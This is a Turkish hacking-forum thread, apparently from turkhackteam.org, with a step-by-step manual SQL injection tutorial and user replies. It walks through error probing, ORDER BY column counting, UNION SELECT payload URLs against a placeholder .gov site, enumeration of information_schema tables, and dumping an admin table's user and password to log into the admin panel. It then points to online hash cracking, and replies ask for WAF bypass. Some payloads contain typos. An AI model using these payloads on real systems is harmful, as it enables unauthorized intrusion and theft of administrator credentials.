Manuel Sql İnjection

ubermensch

Üye
16 Eki 2020
70
0
WHITE HOUSE

MANUEL SQL İNJECTİON





Sql İnjection
(Sql bir database(veritabanı) programlama dilidir. )


Sql ile yapılan kodlama hatalırından dolayı oluşan bir açıktır.
Sayfada Sql kodları çalıştırarak veri çekmeyi hedefleyen, sunucuya yönelik güvenlik açığıdır.
Birden bazla çeşidi bulunan geniş bir açıktır.
Günümüzde bir çok yerde hatta devlet sitelerinde bile Sql hatsına rastlamak mümkün.




Adım Adım Sql İnjection.

Not: Baz kod kısımlarındaki Url'lerin devamının alt satırda bulunması kod bölümünün düzeni ve okunurluk açısından yapılmıştır. Kod kısımlarındaki Url'ler bir bütündür.



1.(Açık varmı?)


İlk olarak Sql açığı arayacağımız site "kelime.asp?id=sayı" gibi değerler içerebilir( Manuel Sql İnjection da "id=sayı" içermesi zorunlu değildir, "id=sayı" içermeyen web sitelerinde de sql açığı aranabilir.),
Sql İnjection saldırsı yapacağımız sitede Sql açığının olup olmadığını anlamak için sonuna " ' "(tektırnak) koyulduğunda hata veriyorsa orada Sql açığının olduğunun bir göstergesidir. Bunu yapmak yerine "Safe3" veya "Acunetix" gibi programlar aracılığıylada Sql açığı olup olmadığını tarayabiliriz.

Kod:
 http://ubermensch.gov/page.php?id=5'
Hata aldığımız varsayarak devam edelim.




2.(kolon sayısı)


Kolon, veritabanı tablosunun bi nevi sütunudur.
Kolon sayısını öğrenmek için "+order+by+sayı" kodunu kullanacağız.
Kolon sayısını bulabilmek için 20 gibi bir sayıdan başlatacağım siteden hata almayana kadar devam ettireceğim.(Kolon sayısı 20 den fazla da olabilir ama genel olarak 20 den az olduğu için 20 den başlatacağım.)

Kod:
http://ubermensch.gov/page.php?id=5+order+by+20
http://ubermensch.gov/page.php?id=5+order+by+17
http://ubermensch.gov/page.php?id=5+order+by+15
http://ubermensch.gov/page.php?id=5+order+by+10
http://ubermensch.gov/page.php?id=5+order+by+8
http://ubermensch.gov/page.php?id=5+order+by+7
"7" de hata almadığımızı varsayarak diyer adıma geçelim.




3.(Sayı Yansıtma)


Kolon sayısını öğrendik ama şimdi kolondan veri çekerken ki kullanacağımız sayıları ve ya sayıyı yansıtacağız bunu "+union+select+sayı,sayı..." koduyla yapacağız. Bu işlemi yaparken "id" ye bu sitede eş değeri olmyacak şekilde değer vermemiz gerekiyor bunu da bulunan değerin başına "-" koyarak sağlıyoruz.

Kod:
http://ubermensch.gov/page.php?id=-5+union+select+0,1,2,3,4,5,6  
veya   
http://ubermensch.gov/page.php?id=-5+union+select+1,2,3,4,5,6,7
Bu ikisninde de asıl amaç "+union+select+" in yanına kolon sayısı kadar sayı yazmak 0 dan veya 1 den başlamışşın pek fark etmez ama birinden sonuç alınmadığı zaman diğerini denenmelidir.
Ekrana sayı ve ya sayılar yansıyacaktır bu sayının "4" olduğunu varsayarak devam edelim.




4.(version())


"version()" 'u daha önceki işlem ile aldığımız sayının yerine yazalım ve version'u alalım.

Kod:
http://ubermensch.gov/page.php?id=-5+union+select+1,2,3,version(),5,6,7
Çıkan sayı küsüratlı olabilir biz sadece ilk basamağıyle ilgileneceğiz, çıkan sayını "5" olduğunu varsayarak devam edelim.




5.(database())


Şimdi database'nin adının ne olduğuna bakalım, 3. işlem aldığımız sayının yerine yine 4. işlemdeki gibi ama bu sefer "database()" yazarak devam edelim.

Kod:
http://ubermensch.gov/page.php?id=-5+union+select+1,2,3,version(),5,6,7
Ekranda veri tabanının ismi çıkacaktır. "nietzsche" çıktığını varsayarak devam ediyorum.




6.(hex(database))


Önceki adımda çıkan "nietzsche" ismini hex koduna çevirmemiz gerekiyor. (İnternet üzerinde bir çok hex koda çevirici bulunmaktadır.)
"nietzsche" nin hex kodu "6E6965747A73636865" dır. Bunu bir sonraki işlemde kullanacağız.

500px-ASCII_Code_Chart.svg.png




7.(Tablo Name(Tablo İsimleri))

Bu işlemi 3 alt başlıkta yapacağız


7.1- Şimdi daha önceki işlemlerde de kullandığımız ve 3. işlemde ekrana yansıyan sayı yerine bu sefer "group_concat(table_name)" kodunu yazacağız.

Kod:
http://ubermensch.gov/page.php?id=-5
+union+select+1,2,3,group_concat(table_name),5,6,7


7.2- En sona "+form+information_schema.tables+where+table_schema=" ekleyeceğiz.

Kod:
http://ubermensch.gov/page.phpid=-5+union+select+1,2,3,group_concat(table_name)
,5,6,7+form+information_schema.tables+where+table_schema=


7.3- Hex koduna çevirdiğimiz veritabanı ismini başına "0x" ekleyerak en sona yazacaz.

Kod:
http://ubermensch.gov/page.php?id=-5+union+select+1,2,3,group_concat(table_name)
,5,6,7+form+information_schema.tables+where+table_schema=0x6E6965747A73636865
Ekrana tablo isimleri yansıyacaktır.






8.(Admin)


7.yapyığımız işlemle ekranda tablo adlarını var biz buradan işimize yarayanı çekeceğiz.(siz isterseniz hedef sitenizdeki diğer tabloları da inceleyebilirsiniz.)
Admin panele giriş yapabilmek için admin bilgilerine ihtiyacımız var.(Bunlar her tabloda farklı yerlerde konumlandırılmış olabilir siz admin bilgilerini verebilecek uygun tabloları sırayla deneyerek bu verilere ulaşabilirsiniz.)
Çıkan tablolardan birinin ismini "admin" var sayalım, yine "admin" kelimesini hex koduna çeviriyoruz ve tablonun sonuna "+and+table_name=" koyuyruz, bunu da sonuna "0x" ile admin'in hex kodu olan "61646D696E" ekliyoruz.

Kod:
http://ubermensch.gov/page.php?id=-5+union+select+1,2,3,group_concat(table_name)
,5,6,7+form+information_schema.tables+where+
table_schema=0x6E6965747A73636865+and+table_name=0x61646D696E
Karşımıza admin tablosunda bulunan başlıklar çıkacaktır.




9.(user - password)


Admin tablosunun başlıkları arasında bizim admin panel girişte kullanacağımız değerleri çekmemiz gerekiyor bu başlıklar "user - password" varsayarak devam edelim.
Diğer işlemlerde de kullanıdığımız 3. işlemde ulaştığımız sayınya bu sefer başlık ismini yazacağız ve en sona "+from+tabloAdı" ekleyeceğiz
Kod:
http://ubermensch.gov/page.php?id=-5
+union+select+1,2,3,(password),5,6,7+from+admin

Admin panelin Password'una ulaşdık sıra "user"de.
Kod:
 http://ubermensch.gov/page.php?id=-5+union+select+1,2,3,(user),5,6,7+from+admin
Böylelikle admin panele giriş için gerekli olan bilgilere ulaşmış olduk.





Md5, Sha,...


Bazı siterde "password" direkt gözükebilir, bazı siteler de "Md5, Sha,..." gibi şifreleme yöntemleriyle şifrelenmiş olarak gözükebilir bu şifreleri kırmak gerekir.(https://hashes.com/en/decrypt/hash size yardımcı olabilir.)







Sql Dork Ve Login Sql Bypass'ı da anlattım onunla beraber bunu okumanız, öğrenmek ve öğrendiklerinizi uygulayabilmek açısından daha yararlı olacaktır: https://www.turkhackteam.org/web-s...ql-dork-ve-login-sql-bypass.html#post9291136





 
Son düzenleme:

AYTOLDI

Yeni üye
27 Kas 2020
14
1
Emeklerinize sağlık hocam çok güzel konu olmuş ve açıklayıcı olmuş teşekkürler.
 

PresanS

Kıdemli Üye
8 Ocak 2017
2,470
203
24
Debian
Emeğine sağlık kardeşim waff bypass da anlatırsan az çok kafamız da yerleşsin bilmeyenler için.manuel SQL injection çok fazlasıyla var forum da herkes ' tırnak sanıyor sadece ya blind sqli ise? İd=1 olan değer id=2-1 yazdığımız da hata olmadan id=1 deki ile aynı olursa yine açık olabilir anlamına geliyor gibi şeyleri öğretmek lazım.. aslında manuel SQL injection öğrenmek için SQL dilini bilmek lazım. Yada dioslar mesela :)
 

ubermensch

Üye
16 Eki 2020
70
0
WHITE HOUSE
ѕeleɴια;9297798' Alıntı:
Böyle konular görmek umut veriyor eline sağlık
Sağ olun, inşallah beraber gelecek nesiller için umut olacağız.

Emeğine sağlık kardeşim waff bypass da anlatırsan az çok kafamız da yerleşsin bilmeyenler için.manuel SQL injection çok fazlasıyla var forum da herkes ' tırnak sanıyor sadece ya blind sqli ise? İd=1 olan değer id=2-1 yazdığımız da hata olmadan id=1 deki ile aynı olursa yine açık olabilir anlamına geliyor gibi şeyleri öğretmek lazım.. aslında manuel SQL injection öğrenmek için SQL dilini bilmek lazım. Yada dioslar mesela :)

Sağ olun, inşallah en kısa sürede waff bypass'ı da anlatacağım.
Bir açığı tespit ederken ve ya sömürken tek bir bilgiye veya tek bir yönteme bağlı kalınmamalıdır. Bir açığı bulurken ve sömürürken, o açığın hangi yazılım dilinde yapılan hatadan veya eksiklikten dolayı olduğunu bilmek ve hata veya eksiklik yapılan yazılım dili hakkında bilgili olmak açığı bulurken ve sömürürken büyük bir avantaj sağlayacaktır. Bu konuyu genele hitap eden bir şekilde yazdım, ileri zamanlarda diğer yöntem ve yazılım dilleri hakkındaki bilgilerimi bilgiyi arayan, araştıran öğrenmek isteyenlerin yararlanması için anlatacağım inşallah.
 
Moderatör tarafında düzenlendi:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.